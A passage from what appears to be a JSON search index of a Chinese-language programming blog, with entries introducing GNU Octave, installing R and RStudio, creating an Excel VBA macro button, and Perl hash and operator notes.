的官方網站查詢現有的 Octave 套件。\nOctave 不能做什麼？ GNU Octave 是專門用於以數值方法解決各種數學與工程上的問題，也就是說它沒辦法計算數學上的解析解，它與 Mathematica 或 Maple 這類的代數運算軟體是不同的，若是您需要這類可以計算解析解的軟體，可以參考另一套開放原始碼的軟體 Maxima。\n有誰在用 Octave ？ Octave 與 Matlab 被各領域的工程師與研究人員廣泛的使用在數值計算、演算法開發與測試等問題上，例如美國 NASA 使用它開發 spacecraft docking systems，Jaguar Racing 使用它分析來自一級方程式賽車的資料，Octave 與 Matlab 大幅降低撰寫程式的困難度，讓工程師與研究人員能夠快速的進行資料分析、系統開發與測試。\n為什麼不使用一般的程式語言？例如 C++ C++ 與其他一般的程式語言是設計用在撰寫一般性的應用程式，然而解決數學與工程上的問題對於 C++ 這類的程式語言來說，通常需要耗費非常多的時間，另外像 C++ 這樣的程式語言也沒有內建繪圖功能，無法進行即時的視覺化分析，而 Octave 是專門設計用於處理這種問題的程式語言環境，它整合了程式語言、各種數值計算方法、與強大的繪圖功能，即便使用者對於一般的程式設計不甚熟悉，亦可以快速的使用 Octave 進行各種問題的處理與分析。\nOctave 屬於直譯式語言（interpreted language），每一行指令由命令列（command-line）輸入，按下 Enter 鍵之後 Octave 會將命令轉換為機械碼（machine code）並執行，而一般編譯式語言（compiled language），例如 C++ 等，所有的程式碼都是寫在檔案中經過編譯器一次編譯後，產生可執行檔然後執行，編譯式語言的執行速度比直譯式語言快，但需要花費較多的時間編寫程式與編譯，對於測試與分析資料來說使用直譯式語言雖然程式的執行稍微慢了一些，但是卻可以大幅減少編寫程式的時間。\n","permalink":"https://blog.gtwang.org/octave/introduction-to-octave/","summary":"\u003ch2 id=\"什麼是-octave-\"\u003e什麼是 Octave ？\u003c/h2\u003e\n\u003cp\u003eGNU Octave 是一個免費的開放原始碼軟體系統，主要用於數值計算與繪圖，尤其是在矩陣運算上，例如聯立方程式、eigenvectors 與 eigenvalues 等，透過其互動式的指令環境，使用者可以快速的解決各種數值上的問題，而其強大的繪圖功能可以將資料以各種方式呈現。\u003c/p\u003e","title":"Octave 簡介"},{"content":"本篇介紹如何在 Windows、Mac OS X 與 Linux 系統中安裝 R 的執行與開發環境。\nWindows 目前 R 官方網站上所提供的 R 安裝檔適用於各種版本的 Windows（Windows XP 以後都適用），所以不管您是使用哪一版的 Windows，安裝的方式都是一樣的，以下是 Windows 系統上的 R 安裝步驟。\nStep 1\n開啟 R 官方網站的網頁，點選左邊的「CRAN」。\nStep 2\n從鏡像站列表中選擇台灣的鏡像站，如果您的所在地不在台灣，就選擇距離自己最近的鏡像站。\nStep 3\n依照作業系統下載安裝檔，在 Windows 系統中就點選「Download R for Windows」。\nStep 4\n這裡有三種安裝檔，第一次安裝 R 的時候請選擇「base」。\nStep 5\n點選網頁上最新的下載連結，下載 R 安裝檔。\nStep 6\n安裝檔下載完成後，請直接執行它進行安裝，首先選擇語言。\nStep 7\n這是歡迎訊息，請點選「下一步」。\nStep 8\nR 是以開放原始碼授權釋出的，這裡顯示的是 GNU GPL 的使用條款，請點選「下一步」。\nStep 9\n選擇目的資料夾，設定好之後，請點選「下一步」。\nStep 10\n選擇要安裝的元件，設定完後，請點選「下一步」。\nStep 11\n選擇是否要自訂啟動選項，初次使用的話，用預設就可以了，請點選「下一步」。\nStep 12\n選擇「開始」功能表的資料夾，設定好之後，請點選「下一步」。\nStep 13\n選擇附加的工作，選擇好之後，請點選「下一步」。\nStep 14\n等待安裝過程。\nStep 15\n安裝完成，點選「完成」離開安裝程式。\nStep 16 這時候在桌面上應該就會出現 R 的捷徑了，預設會有兩個捷徑，i386 的那個是 32 位元版本的，而 x64 的那一個則是 64 位元版本的，一般的狀況下使用哪一個都可以，如果是要處理比較大量的資料時，就會需要用 64 位元版本的 R。\nStep 17\n從桌面上點擊 R 的捷徑，打開之後就可以開始使用了。\nMac OS X Mac OS X 中的 R 安裝方式跟 Windows 類似，也是從 R 的官方網站上下載 R 的安裝檔進行安裝。\nStep 1\n從 CRAN 的網站下載最新的 R 安裝檔。\nStep 2\n執行下載下來的安裝檔，點選「繼續」。\nStep 3\n這是版本說明，點選「繼續」。\nStep 4\n這是軟體許可協議，點選「繼續」。\nStep 5\n若要安裝 R，需要同意這裡列的條款，請點選「同意」。\nStep 6\n設定安裝位置，通常使用預設即可，點選「安裝」。\nStep 7\n輸入密碼。\nStep 8\n等待安裝過程。\nStep 9\n安裝完成，點選「關閉」。\nStep 10\n開啟安裝好的 R，確認一下版本。\n這樣就完成 Mac OS X 系統上 R 的安裝了。\nLinux Debian 系列 Linux 如果是 Debian 系列的 Linux（如 Ubuntu、Linux Mint 等），可以使用 apt 安裝：\nsudo apt-get install r-base r-base 套件是基本的 R 執行環境，大部分的 R 套件要另外安裝，套件的數量非常多，我們可以使用\napt-cache search r-cran 來搜尋可用套件，如果一開始不清楚該裝哪些，可以安裝官方建議的套件組合：\nsudo apt-get install r-recommended 另外如果有 R 的套件開發需求，還要加裝 r-base-dev：\nsudo apt-get install r-base-dev Red Hat 系列的 Linux 在 Red Hat 系列的 Linux（如 RHEL、CentOS、Scientific Linux 等）中，可以使用 EPEL 來安裝 R，以 RHEL 7 或 CentOS 7 來說，可以這樣安裝 EPEL：\nsu -c \u0026#39;rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm\u0026#39; 然後更新 yum：\nsudo yum update 接著使用 yum 安裝 R：\nsudo yum install R 或是使用更簡潔的方式：\nsudo yum install epel-release sudo yum update sudo yum install R 另外如果要安裝 R 的一些套件，可以使用 yum 搜尋 R- 開頭的套件：\nyum list R-* 安裝好之後，開啟終端機，執行\nR 就可以使用 R 了。這是在 CentOS 7 執行 R 的畫面：\nRStudio RStudio 是一個開放原始碼的 R 語言整合開發環境（IDE），它的功能包含程式碼編輯器、除錯工具與視覺化工具，適用於 Windows、Mac OS X 與 Linux 等各種系統。\nMac OS X 安裝 RStudio 從 RStudio 官方網站下載 Mac OS X 的 dmg 檔，打開之後把 RStudio.app 拉進 Applications 目錄中。\n接著開啟 RStudio 應用程式，就可以使用了。\n","permalink":"https://blog.gtwang.org/r/r-install-and-setup/","summary":"\u003cp\u003e本篇介紹如何在 Windows、Mac OS X 與 Linux 系統中安裝 R 的執行與開發環境。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"windows\"\u003eWindows\u003c/h2\u003e\n\u003cp\u003e目前 R 官方網站上所提供的 R 安裝檔適用於各種版本的 Windows（Windows XP 以後都適用），所以不管您是使用哪一版的 Windows，安裝的方式都是一樣的，以下是 Windows 系統上的 R 安裝步驟。\u003c/p\u003e","title":"R 安裝與設定"},{"content":"這裡我們將介紹如何在 Excel 中建立一個按鈕，並且撰寫按鈕的巨集程式。\n在 Excel 中我們透過 VBA 的巨集程式來讓一些動作自動化，若是常用的巨集程式，可以在 Excel 中建立一個自訂按鈕，當按下按鈕時就可以呼叫指定的巨集，以下是詳細的步驟教學。\nStep 1\n在「開發人員」籤頁中，點選「插入」，從表單控制項中選擇按鈕。\nStep 2\n用滑鼠在 Excel 中拖曳出按鈕的大小。\nStep 3\n新增一個巨集，當按鈕按下去的時候，就會自動呼叫這個巨集。\nStep 4\n接著 Excel 會開啟巨集的編輯器，我們可以在這裡撰寫自己的巨集程式。\n這裡我們在這個巨集程式中加入兩行：\nRange(\u0026#34;A1\u0026#34;).Value = \u0026#34;G. T. Wang\u0026#34; MsgBox \u0026#34;完成！\u0026#34; 第一行是在 A1 這個儲存格中填入 G. T. Wang 這個文字，而第二行則是顯示一個跳出訊息視窗，貼上去之後，會像這樣。\nStep 5\n回到 Excel 的視窗，這時候我們就可以使用剛剛建立的按鈕與巨集了。\n按下剛剛建立的按鈕，就會呼叫對應的聚集，在 A1 儲存格中填入文字，並跳出訊息視窗。\n我們可以利用這樣的方式，在 Excel 表格中加入一些功能按鈕，將一些常用的動作自動化，這樣在使用上會更加方便，而且藉由這樣的使用介面，也可以很容易的將我們設計好的程式提供給不會寫程式的人使用。\n","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-programming-create-button-and-macro/","summary":"\u003cp\u003e這裡我們將介紹如何在 Excel 中建立一個按鈕，並且撰寫按鈕的巨集程式。\u003c/p\u003e\n\u003cp\u003e在 Excel 中我們透過 VBA 的巨集程式來讓一些動作自動化，若是常用的巨集程式，可以在 Excel 中建立一個自訂按鈕，當按下按鈕時就可以呼叫指定的巨集，以下是詳細的步驟教學。\u003c/p\u003e","title":"Excel VBA：建立按鈕與巨集程式"},{"content":"雜湊（Hash） # 雜湊 (hash) %hash1 = (\u0026#34;Bill\u0026#34;, \u0026#34;boy\u0026#34;, \u0026#34;Mary\u0026#34;, \u0026#34;gril\u0026#34;); print $hash1{\u0026#34;Bill\u0026#34;}; # \u0026#34;boy\u0026#34; %hash2 = (\u0026#34;Bill\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;,\u0026#34;Mary\u0026#34; =\u0026gt; \u0026#34;gril\u0026#34;); # The same # %hash2 現在是 (\u0026#34;Bill\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;,\u0026#34;Mary\u0026#34; =\u0026gt; \u0026#34;gril\u0026#34;,\u0026#34;Joe\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;) $hash2{\u0026#34;Joe\u0026#34;} = \u0026#34;boy\u0026#34;; %hash3 = (\u0026#34;Joe\u0026#34; =\u0026gt; \u0026#34;man\u0026#34;); # 合併 %hash2 與 %hash3，有重複的元素，會以最後一個為準 %hash2 = (%hash2,%hash3); keys %hash1; # 傳回一陣列，內容為 %hash1 的 key values %hash1; # 傳回一陣列，內容為 %hash1 的 value delete $hash1{\u0026#34;Bill\u0026#34;}; # 刪除元素 # exists 可測試元素是否存在 if(exists $hash1{\u0026#34;Bill\u0026#34;}) { print \u0026#34;exists\u0026#34;; } 運算子 # 運算子 # Arithmetic # + addition # - subtraction # * multiplication # / division # ** exponentiation $val = 2**3; # $val = 8 # Numeric comparison # == equality # != inequality # \u0026amp;lt; less than # \u0026gt; greater than # \u0026amp;lt;= less than or equal # \u0026gt;= greater than or equal # String comparison # eq equality # ne inequality # lt less than # gt greater than # le less than or equal # ge greater than or equal \u0026#34;abc\u0026#34; lt \u0026#34;bcd\u0026#34;; # true # Boolean logic # \u0026amp;\u0026amp; and # || or # ! not # Miscellaneous # = assignment # . string concatenation # x string multiplication # .. range operator (creates a list of numbers) @arr = 1 .. 5; # @arr = (1,2,3,4,5); $str = \u0026#34;Bill\u0026#34; x 3; # $str = \u0026#34;BillBillBill\u0026#34;; # Many operators can be combined with a \u0026#34;=\u0026#34; as follows: # $a += 1; same as $a = $a + 1 # $a -= 1; same as $a = $a - 1 # $a .= \u0026#34;\\n\u0026#34;; same as $a = $a . \u0026#34;\\n\u0026#34;; # 註：其他運算子請參考 perlop(1) ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-2/","summary":"\u003ch2 id=\"雜湊hash\"\u003e雜湊（Hash）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 雜湊 (hash)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;boy\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Mary\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;gril\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$hash1\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# \u0026#34;boy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;boy\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mary\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;gril\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# The same\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# %hash2 現在是 (\u0026#34;Bill\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;,\u0026#34;Mary\u0026#34; =\u0026gt; \u0026#34;gril\u0026#34;,\u0026#34;Joe\u0026#34; =\u0026gt; \u0026#34;boy\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$hash2\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Joe\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;boy\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Joe\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;man\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 合併 %hash2 與 %hash3，有重複的元素，會以最後一個為準\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e%hash2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e%hash2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e%hash3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003ekeys\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 傳回一陣列，內容為 %hash1 的 key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003evalues\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 傳回一陣列，內容為 %hash1 的 value\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003edelete\u003c/span\u003e \u003cspan class=\"nv\"\u003e$hash1\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 刪除元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# exists 可測試元素是否存在\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eexists\u003c/span\u003e \u003cspan class=\"nv\"\u003e$hash1\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;exists\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"運算子\"\u003e運算子\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 運算子\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Arithmetic\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   +   addition\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   -   subtraction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   *   multiplication\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   /   division\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   **  exponentiation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# $val = 8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Numeric comparison\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   ==  equality\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   !=  inequality\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   \u0026amp;lt;   less than\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   \u0026gt;   greater than\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   \u0026amp;lt;=  less than or equal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   \u0026gt;=  greater than or equal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# String comparison\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   eq  equality\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   ne  inequality\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   lt  less than\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   gt  greater than\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   le  less than or equal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   ge  greater than or equal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e \u003cspan class=\"ow\"\u003elt\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;bcd\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Boolean logic\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   \u0026amp;\u0026amp;  and\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   ||  or\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   !   not\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Miscellaneous\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   =   assignment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   .   string concatenation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   x   string multiplication\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   ..  range operator (creates a list of numbers)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e          \u003cspan class=\"c1\"\u003e# @arr = (1,2,3,4,5);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# $str = \u0026#34;BillBillBill\u0026#34;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Many operators can be combined with a \u0026#34;=\u0026#34; as follows:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   $a += 1;    same as $a = $a + 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   $a -= 1;    same as $a = $a - 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#   $a .= \u0026#34;\\n\u0026#34;; same as $a = $a . \u0026#34;\\n\u0026#34;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 